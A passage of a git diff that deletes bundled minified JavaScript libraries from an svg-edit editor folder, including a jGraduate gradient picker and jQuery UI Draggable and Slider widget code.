-fill:a,"fill-opacity":d,transform:"translate("+(10+c*j)+", 26)",stroke:"#000","stroke-width":1.5},fa);$(X).mousedown(function(M){B(this);R=F;N.mousemove(la).mouseup(W);S=ga.offset();M.preventDefault();return false}).data("stop",l).data("bg",f).dblclick(function(){$("div.jGraduate_LightBox").show();for(var M=this,I=+l.getAttribute("stop-opacity")||1,C=l.getAttribute("stop-color")||1,Y=(parseFloat(I)*255).toString(16);Y.length<2;)Y="0"+Y;a=C.substr(1)+Y;$("#"+b+"_jGraduate_stopPicker").css({left:100,
-bottom:15}).jPicker({window:{title:"Pick the start color and opacity for the gradient"},images:{clientPath:o.images.clientPath},color:{active:a,alphaSupport:true}},function(Z){C=Z.val("hex")?"#"+Z.val("hex"):"none";I=Z.val("a")!==null?Z.val("a")/256:1;M.setAttribute("fill",C);M.setAttribute("fill-opacity",I);l.setAttribute("stop-color",C);l.setAttribute("stop-opacity",I);$("div.jGraduate_LightBox").hide();$("#"+b+"_jGraduate_stopPicker").hide()},null,function(){$("div.jGraduate_LightBox").hide();
-$("#"+b+"_jGraduate_stopPicker").hide()})});$(g).find("stop").each(function(){var M=$(this);if(+this.getAttribute("offset")>c){if(!a){var I=this.getAttribute("stop-color"),C=this.getAttribute("stop-opacity");l.setAttribute("stop-color",I);X.setAttribute("fill",I);l.setAttribute("stop-opacity",C===null?1:C);X.setAttribute("fill-opacity",C===null?1:C)}M.before(l);return false}});h&&B(X);return l}function B(c){F&&F.setAttribute("stroke","#000");c.setAttribute("stroke","blue");F=c;F.parentNode.appendChild(F)}
-function W(){N.unbind("mousemove",la);if(O.getAttribute("display")!=="none"){O.setAttribute("display","none");var c=$(F),a=c.data("stop");c=c.data("bg");$([F,a,c]).remove()}R=null}function w(){var c=T?"rotate("+T+","+ha+","+ia+") ":"";J===1&&G===1?g.removeAttribute("gradientTransform"):g.setAttribute("gradientTransform",c+"translate("+-ha*(J-1)+","+-ia*(G-1)+") scale("+J+","+G+")")}function la(c){var a=c.pageX-S.left;c=c.pageY-S.top;a=a<10?10:a>j+10?j+10:a;var d="translate("+a+", 26)";if(c<-60||c>
-130){O.setAttribute("display","block");O.setAttribute("transform",d)}else O.setAttribute("display","none");R.setAttribute("transform",d);$.data(R,"bg").setAttribute("transform",d);$.data(R,"stop").setAttribute("offset",(a-10)/j);var h=0;$(g).find("stop").each(function(){var f=this.getAttribute("offset"),l=$(this);if(f<h){l.prev().before(l);D=$(g).find("stop")}h=f})}var e=$(this),o=$.extend(true,{},jQuery.fn.jGraduateDefaults,i),b=e.attr("id"),s="#"+e.attr("id")+" ";if(s){var ma=function(){switch(e.paint.type){case "radialGradient":e.paint.linearGradient=
-null;break;case "linearGradient":e.paint.radialGradient=null;break;case "solidColor":e.paint.radialGradient=e.paint.linearGradient=null}$.isFunction(e.okCallback)&&e.okCallback(e.paint);e.hide()},na=function(){$.isFunction(e.cancelCallback)&&e.cancelCallback();e.hide()};$.extend(true,e,{paint:new $.jGraduate.Paint({copy:o.paint}),okCallback:$.isFunction(z[1])&&z[1]||null,cancelCallback:$.isFunction(z[2])&&z[2]||null});e.position();var u=null,N=$(window);if(e.paint.type=="none")e.paint=$.jGraduate.Paint({solidColor:"ffffff"});
-e.addClass("jGraduate_Picker");e.html('<ul class="jGraduate_tabs"><li class="jGraduate_tab_color jGraduate_tab_current" data-type="col">Solid Color</li><li class="jGraduate_tab_lingrad" data-type="lg">Linear Gradient</li><li class="jGraduate_tab_radgrad" data-type="rg">Radial Gradient</li></ul><div class="jGraduate_colPick"></div><div class="jGraduate_gradPick"></div><div class="jGraduate_LightBox"></div><div id="'+b+'_jGraduate_stopPicker" class="jGraduate_stopPicker"></div>');var Ca=$(s+"> .jGraduate_colPick"),
-n=$(s+"> .jGraduate_gradPick");n.html('<div id="'+b+'_jGraduate_Swatch" class="jGraduate_Swatch"><h2 class="jGraduate_Title">'+o.window.pickerTitle+'</h2><div id="'+b+'_jGraduate_GradContainer" class="jGraduate_GradContainer"></div><div id="'+b+'_jGraduate_StopSlider" class="jGraduate_StopSlider"></div></div><div class="jGraduate_Form jGraduate_Points jGraduate_lg_field"><div class="jGraduate_StopSection"><label class="jGraduate_Form_Heading">Begin Point</label><div class="jGraduate_Form_Section"><label>x:</label><input type="text" id="'+
-b+'_jGraduate_x1" size="3" title="Enter starting x value between 0.0 and 1.0"/><label> y:</label><input type="text" id="'+b+'_jGraduate_y1" size="3" title="Enter starting y value between 0.0 and 1.0"/></div></div><div class="jGraduate_StopSection"><label class="jGraduate_Form_Heading">End Point</label><div class="jGraduate_Form_Section"><label>x:</label><input type="text" id="'+b+'_jGraduate_x2" size="3" title="Enter ending x value between 0.0 and 1.0"/><label> y:</label><input type="text" id="'+
-b+'_jGraduate_y2" size="3" title="Enter ending y value between 0.0 and 1.0"/></div></div></div><div class="jGraduate_Form jGraduate_Points jGraduate_rg_field"><div class="jGraduate_StopSection"><label class="jGraduate_Form_Heading">Center Point</label><div class="jGraduate_Form_Section"><label>x:</label><input type="text" id="'+b+'_jGraduate_cx" size="3" title="Enter x value between 0.0 and 1.0"/><label> y:</label><input type="text" id="'+b+'_jGraduate_cy" size="3" title="Enter y value between 0.0 and 1.0"/></div></div><div class="jGraduate_StopSection"><label class="jGraduate_Form_Heading">Focal Point</label><div class="jGraduate_Form_Section"><label>Match center: <input type="checkbox" checked="checked" id="'+
-b+'_jGraduate_match_ctr"/></label><br/><label>x:</label><input type="text" id="'+b+'_jGraduate_fx" size="3" title="Enter x value between 0.0 and 1.0"/><label> y:</label><input type="text" id="'+b+'_jGraduate_fy" size="3" title="Enter y value between 0.0 and 1.0"/></div></div></div><div class="jGraduate_StopSection jGraduate_SpreadMethod"><label class="jGraduate_Form_Heading">Spread method</label><div class="jGraduate_Form_Section"><select class="jGraduate_spreadMethod"><option value=pad selected>Pad</option><option value=reflect>Reflect</option><option value=repeat>Repeat</option></select></div></div><div class="jGraduate_Form"><div class="jGraduate_Slider jGraduate_RadiusField jGraduate_rg_field"><label class="prelabel">Radius:</label><div id="'+
-b+'_jGraduate_Radius" class="jGraduate_SliderBar jGraduate_Radius" title="Click to set radius"><img id="'+b+'_jGraduate_RadiusArrows" class="jGraduate_RadiusArrows" src="'+o.images.clientPath+'rangearrows2.gif"></div><label><input type="text" id="'+b+'_jGraduate_RadiusInput" size="3" value="100"/>%</label></div><div class="jGraduate_Slider jGraduate_EllipField jGraduate_rg_field"><label class="prelabel">Ellip:</label><div id="'+b+'_jGraduate_Ellip" class="jGraduate_SliderBar jGraduate_Ellip" title="Click to set Ellip"><img id="'+
-b+'_jGraduate_EllipArrows" class="jGraduate_EllipArrows" src="'+o.images.clientPath+'rangearrows2.gif"></div><label><input type="text" id="'+b+'_jGraduate_EllipInput" size="3" value="0"/>%</label></div><div class="jGraduate_Slider jGraduate_AngleField jGraduate_rg_field"><label class="prelabel">Angle:</label><div id="'+b+'_jGraduate_Angle" class="jGraduate_SliderBar jGraduate_Angle" title="Click to set Angle"><img id="'+b+'_jGraduate_AngleArrows" class="jGraduate_AngleArrows" src="'+o.images.clientPath+
-'rangearrows2.gif"></div><label><input type="text" id="'+b+'_jGraduate_AngleInput" size="3" value="0"/>deg</label></div><div class="jGraduate_Slider jGraduate_OpacField"><label class="prelabel">Opac:</label><div id="'+b+'_jGraduate_Opac" class="jGraduate_SliderBar jGraduate_Opac" title="Click to set Opac"><img id="'+b+'_jGraduate_OpacArrows" class="jGraduate_OpacArrows" src="'+o.images.clientPath+'rangearrows2.gif"></div><label><input type="text" id="'+b+'_jGraduate_OpacInput" size="3" value="100"/>%</label></div></div><div class="jGraduate_OkCancel"><input type="button" id="'+
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- * jQuery UI Draggable 1.8
- *
- * Copyright (c) 2010 AUTHORS.txt (http://jqueryui.com/about)
- * Dual licensed under the MIT (MIT-LICENSE.txt)
- * and GPL (GPL-LICENSE.txt) licenses.
- *
- * http://docs.jquery.com/UI/Draggables
- *
- * Depends:
- *	jquery.ui.core.js
- *	jquery.ui.mouse.js
- *	jquery.ui.widget.js
- */(function(a){a.widget("ui.draggable",a.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper=="original"&&!(/^(?:r|a|f)/).test(this.element.css("position"))){this.element[0].style.position="relative"}(this.options.addClasses&&this.element.addClass("ui-draggable"));(this.options.disabled&&this.element.addClass("ui-draggable-disabled"));this._mouseInit()},destroy:function(){if(!this.element.data("draggable")){return}this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle")){return false}this.handle=this._getHandle(b);if(!this.handle){return false}return true},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b);this._cacheHelperProportions();if(a.ui.ddmanager){a.ui.ddmanager.current=this}this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(b);this.originalPageX=b.pageX;this.originalPageY=b.pageY;(c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt));if(c.containment){this._setContainment()}if(this._trigger("start",b)===false){this._clear();return false}this._cacheHelperProportions();if(a.ui.ddmanager&&!c.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,b)}this.helper.addClass("ui-draggable-dragging");this._mouseDrag(b,true);return true},_mouseDrag:function(b,d){this.position=this._generatePosition(b);this.positionAbs=this._convertPositionTo("absolute");if(!d){var c=this._uiHash();if(this._trigger("drag",b,c)===false){this._mouseUp({});return false}this.position=c.position}if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}if(a.ui.ddmanager){a.ui.ddmanager.drag(this,b)}return false},_mouseStop:function(c){var d=false;if(a.ui.ddmanager&&!this.options.dropBehaviour){d=a.ui.ddmanager.drop(this,c)}if(this.dropped){d=this.dropped;this.dropped=false}if(!this.element[0]||!this.element[0].parentNode){return false}if((this.options.revert=="invalid"&&!d)||(this.options.revert=="valid"&&d)||this.options.revert===true||(a.isFunction(this.options.revert)&&this.options.revert.call(this.element,d))){var b=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){if(b._trigger("stop",c)!==false){b._clear()}})}else{if(this._trigger("stop",c)!==false){this._clear()}}return false},cancel:function(){if(this.helper.is(".ui-draggable-dragging")){this._mouseUp({})}else{this._clear()}return this},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==b.target){c=true}});return c},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c])):(d.helper=="clone"?this.element.clone():this.element);if(!b.parents("body").length){b.appendTo((d.appendTo=="parent"?this.element[0].parentNode:d.appendTo))}if(b[0]!=this.element[0]&&!(/(fixed|absolute)/).test(b.css("position"))){b.css("position","absolute")}return b},_adjustOffsetFromHelper:function(b){if(typeof b=="string"){b=b.split(" ")}if(a.isArray(b)){b={left:+b[0],top:+b[1]||0}}if("left" in b){this.offset.click.left=b.left+this.margins.left}if("right" in b){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if("top" in b){this.offset.click.top=b.top+this.margins.top}if("bottom" in b){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.element.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.element.css("marginLeft"),10)||0),top:(parseInt(this.element.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)&&e.containment.constructor!=Array){var c=a(e.containment)[0];if(!c){return}var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}else{if(e.containment.constructor==Array){this.containment=e.containment}}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.left<this.containment[0]){d=this.containment[0]+this.offset.click.left}if(e.pageY-this.offset.click.top<this.containment[1]){c=this.containment[1]+this.offset.click.top}if(e.pageX-this.offset.click.left>this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.top<this.containment[1]||g-this.offset.click.top>this.containment[3])?g:(!(g-this.offset.click.top<this.containment[1])?g-h.grid[1]:g+h.grid[1])):g;var f=this.originalPageX+Math.round((d-this.originalPageX)/h.grid[0])*h.grid[0];d=this.containment?(!(f-this.offset.click.left<this.containment[0]||f-this.offset.click.left>this.containment[2])?f:(!(f-this.offset.click.left<this.containment[0])?f-h.grid[0]:f+h.grid[0])):f}}return{top:(c-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(i?0:b.scrollTop())))),left:(d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():i?0:b.scrollLeft())))}},_clear:function(){this.helper.removeClass("ui-draggable-dragging");if(this.helper[0]!=this.element[0]&&!this.cancelHelperRemoval){this.helper.remove()}this.helper=null;this.cancelHelperRemoval=false},_trigger:function(b,c,d){d=d||this._uiHash();a.ui.plugin.call(this,b,[c,d]);if(b=="drag"){this.positionAbs=this._convertPositionTo("absolute")}return a.Widget.prototype._trigger.call(this,b,c,d)},plugins:{},_uiHash:function(b){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}});a.extend(a.ui.draggable,{version:"1.8"});a.ui.plugin.add("draggable","connectToSortable",{start:function(c,e){var d=a(this).data("draggable"),f=d.options,b=a.extend({},e,{item:d.element});d.sortables=[];a(f.connectToSortable).each(function(){var g=a.data(this,"sortable");if(g&&!g.options.disabled){d.sortables.push({instance:g,shouldRevert:g.options.revert});g._refreshItems();g._trigger("activate",c,b)}})},stop:function(c,e){var d=a(this).data("draggable"),b=a.extend({},e,{item:d.element});a.each(d.sortables,function(){if(this.instance.isOver){this.instance.isOver=0;d.cancelHelperRemoval=true;this.instance.cancelHelperRemoval=false;if(this.shouldRevert){this.instance.options.revert=true}this.instance._mouseStop(c);this.instance.options.helper=this.instance.options._helper;if(d.options.helper=="original"){this.instance.currentItem.css({top:"auto",left:"auto"})}}else{this.instance.cancelHelperRemoval=false;this.instance._trigger("deactivate",c,b)}})},drag:function(c,f){var e=a(this).data("draggable"),b=this;var d=function(i){var n=this.offset.click.top,m=this.offset.click.left;var g=this.positionAbs.top,k=this.positionAbs.left;var j=i.height,l=i.width;var p=i.top,h=i.left;return a.ui.isOver(g+n,k+m,p,h,j,l)};a.each(e.sortables,function(g){this.instance.positionAbs=e.positionAbs;this.instance.helperProportions=e.helperProportions;this.instance.offset.click=e.offset.click;if(this.instance._intersectsWith(this.instance.containerCache)){if(!this.instance.isOver){this.instance.isOver=1;this.instance.currentItem=a(b).clone().appendTo(this.instance.element).data("sortable-item",true);this.instance.options._helper=this.instance.options.helper;this.instance.options.helper=function(){return f.helper[0]};c.target=this.instance.currentItem[0];this.instance._mouseCapture(c,true);this.instance._mouseStart(c,true,true);this.instance.offset.click.top=e.offset.click.top;this.instance.offset.click.left=e.offset.click.left;this.instance.offset.parent.left-=e.offset.parent.left-this.instance.offset.parent.left;this.instance.offset.parent.top-=e.offset.parent.top-this.instance.offset.parent.top;e._trigger("toSortable",c);e.dropped=this.instance.element;e.currentItem=e.element;this.instance.fromOutside=e}if(this.instance.currentItem){this.instance._mouseDrag(c)}}else{if(this.instance.isOver){this.instance.isOver=0;this.instance.cancelHelperRemoval=true;this.instance.options.revert=false;this.instance._trigger("out",c,this.instance._uiHash(this.instance));this.instance._mouseStop(c,true);this.instance.options.helper=this.instance.options._helper;this.instance.currentItem.remove();if(this.instance.placeholder){this.instance.placeholder.remove()}e._trigger("fromSortable",c);e.dropped=false}}})}});a.ui.plugin.add("draggable","cursor",{start:function(c,d){var b=a("body"),e=a(this).data("draggable").options;if(b.css("cursor")){e._cursor=b.css("cursor")}b.css("cursor",e.cursor)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._cursor){a("body").css("cursor",d._cursor)}}});a.ui.plugin.add("draggable","iframeFix",{start:function(b,c){var d=a(this).data("draggable").options;a(d.iframeFix===true?"iframe":d.iframeFix).each(function(){a('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1000}).css(a(this).offset()).appendTo("body")})},stop:function(b,c){a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});a.ui.plugin.add("draggable","opacity",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("opacity")){e._opacity=b.css("opacity")}b.css("opacity",e.opacity)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._opacity){a(c.helper).css("opacity",d._opacity)}}});a.ui.plugin.add("draggable","scroll",{start:function(c,d){var b=a(this).data("draggable");if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){b.overflowOffset=b.scrollParent.offset()}},drag:function(d,e){var c=a(this).data("draggable"),f=c.options,b=false;if(c.scrollParent[0]!=document&&c.scrollParent[0].tagName!="HTML"){if(!f.axis||f.axis!="x"){if((c.overflowOffset.top+c.scrollParent[0].offsetHeight)-d.pageY<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop+f.scrollSpeed}else{if(d.pageY-c.overflowOffset.top<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop-f.scrollSpeed}}}if(!f.axis||f.axis!="y"){if((c.overflowOffset.left+c.scrollParent[0].offsetWidth)-d.pageX<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft+f.scrollSpeed}else{if(d.pageX-c.overflowOffset.left<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft-f.scrollSpeed}}}}else{if(!f.axis||f.axis!="x"){if(d.pageY-a(document).scrollTop()<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()-f.scrollSpeed)}else{if(a(window).height()-(d.pageY-a(document).scrollTop())<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()+f.scrollSpeed)}}}if(!f.axis||f.axis!="y"){if(d.pageX-a(document).scrollLeft()<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()-f.scrollSpeed)}else{if(a(window).width()-(d.pageX-a(document).scrollLeft())<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()+f.scrollSpeed)}}}}if(b!==false&&a.ui.ddmanager&&!f.dropBehaviour){a.ui.ddmanager.prepareOffsets(c,d)}}});a.ui.plugin.add("draggable","snap",{start:function(c,d){var b=a(this).data("draggable"),e=b.options;b.snapElements=[];a(e.snap.constructor!=String?(e.snap.items||":data(draggable)"):e.snap).each(function(){var g=a(this);var f=g.offset();if(this!=b.element[0]){b.snapElements.push({item:this,width:g.outerWidth(),height:g.outerHeight(),top:f.top,left:f.left})}})},drag:function(u,p){var g=a(this).data("draggable"),q=g.options;var y=q.snapTolerance;var x=p.offset.left,w=x+g.helperProportions.width,f=p.offset.top,e=f+g.helperProportions.height;for(var v=g.snapElements.length-1;v>=0;v--){var s=g.snapElements[v].left,n=s+g.snapElements[v].width,m=g.snapElements[v].top,A=m+g.snapElements[v].height;if(!((s-y<x&&x<n+y&&m-y<f&&f<A+y)||(s-y<x&&x<n+y&&m-y<e&&e<A+y)||(s-y<w&&w<n+y&&m-y<f&&f<A+y)||(s-y<w&&w<n+y&&m-y<e&&e<A+y))){if(g.snapElements[v].snapping){(g.options.snap.release&&g.options.snap.release.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=false;continue}if(q.snapMode!="inner"){var c=Math.abs(m-e)<=y;var z=Math.abs(A-f)<=y;var j=Math.abs(s-w)<=y;var k=Math.abs(n-x)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m-g.helperProportions.height,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s-g.helperProportions.width}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n}).left-g.margins.left}}var h=(c||z||j||k);if(q.snapMode!="outer"){var c=Math.abs(m-f)<=y;var z=Math.abs(A-e)<=y;var j=Math.abs(s-x)<=y;var k=Math.abs(n-w)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A-g.helperProportions.height,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n-g.helperProportions.width}).left-g.margins.left}}if(!g.snapElements[v].snapping&&(c||z||j||k||h)){(g.options.snap.snap&&g.options.snap.snap.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=(c||z||j||k||h)}}});a.ui.plugin.add("draggable","stack",{start:function(c,d){var f=a(this).data("draggable").options;var e=a.makeArray(a(f.stack)).sort(function(h,g){return(parseInt(a(h).css("zIndex"),10)||0)-(parseInt(a(g).css("zIndex"),10)||0)});if(!e.length){return}var b=parseInt(e[0].style.zIndex)||0;a(e).each(function(g){this.style.zIndex=b+g});this[0].style.zIndex=b+e.length}});a.ui.plugin.add("draggable","zIndex",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("zIndex")){e._zIndex=b.css("zIndex")}b.css("zIndex",e.zIndex)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._zIndex){a(c.helper).css("zIndex",d._zIndex)}}})})(jQuery);;/*
- * jQuery UI Slider 1.8
- *
- * Copyright (c) 2010 AUTHORS.txt (http://jqueryui.com/about)
- * Dual licensed under the MIT (MIT-LICENSE.txt)
- * and GPL (GPL-LICENSE.txt) licenses.
- *
- * http://docs.jquery.com/UI/Slider
- *
- * Depends:
- *	jquery.ui.core.js
- *	jquery.ui.mouse.js
- *	jquery.ui.widget.js
- */(function(b){var a=5;b.widget("ui.slider",b.ui.mouse,{widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",range:false,step:1,value:0,values:null},_create:function(){var c=this,d=this.options;this._keySliding=false;this._mouseSliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget ui-widget-content ui-corner-all");if(d.disabled){this.element.addClass("ui-slider-disabled ui-disabled")}this.range=b([]);if(d.range){if(d.range===true){this.range=b("<div></div>");if(!d.values){d.values=[this._valueMin(),this._valueMin()]}if(d.values.length&&d.values.length!=2){d.values=[d.values[0],d.values[0]]}}else{this.range=b("<div></div>")}this.range.appendTo(this.element).addClass("ui-slider-range");if(d.range=="min"||d.range=="max"){this.range.addClass("ui-slider-range-"+d.range)}this.range.addClass("ui-widget-header")}if(b(".ui-slider-handle",this.element).length==0){b('<a href="#"></a>').appendTo(this.element).addClass("ui-slider-handle")}if(d.values&&d.values.length){while(b(".ui-slider-handle",this.element).length<d.values.length){b('<a href="#"></a>').appendTo(this.element).addClass("ui-slider-handle")}}this.handles=b(".ui-slider-handle",this.element).addClass("ui-state-default ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(e){e.preventDefault()}).hover(function(){if(!d.disabled){b(this).addClass("ui-state-hover")}},function(){b(this).removeClass("ui-state-hover")}).focus(function(){if(!d.disabled){b(".ui-slider .ui-state-focus").removeClass("ui-state-focus");b(this).addClass("ui-state-focus")}else{b(this).blur()}}).blur(function(){b(this).removeClass("ui-state-focus")});this.handles.each(function(e){b(this).data("index.ui-slider-handle",e)});this.handles.keydown(function(j){var g=true;var f=b(this).data("index.ui-slider-handle");if(c.options.disabled){return}switch(j.keyCode){case b.ui.keyCode.HOME:case b.ui.keyCode.END:case b.ui.keyCode.PAGE_UP:case b.ui.keyCode.PAGE_DOWN:case b.ui.keyCode.UP:case b.ui.keyCode.RIGHT:case b.ui.keyCode.DOWN:case b.ui.keyCode.LEFT:g=false;if(!c._keySliding){c._keySliding=true;b(this).addClass("ui-state-active");c._start(j,f)}break}var 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index 7ce0fba2..00000000
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\ No newline at end of file
diff --git a/public/svg-edit/editor/jquerybbq/jquery.bbq.min.js b/public/svg-edit/editor/jquerybbq/jquery.bbq.min.js
deleted file mode 100644
index edb78191..00000000
--- a/public/svg-edit/editor/jquerybbq/jquery.bbq.min.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * jQuery BBQ: Back Button & Query Library - v1.2.1 - 2/17/2010
- * http://benalman.com/projects/jquery-bbq-plugin/
- * 
- * Copyright (c) 2010 "Cowboy" Ben Alman
- * Dual licensed under the MIT and GPL licenses.
- * http://benalman.com/about/license/
- */
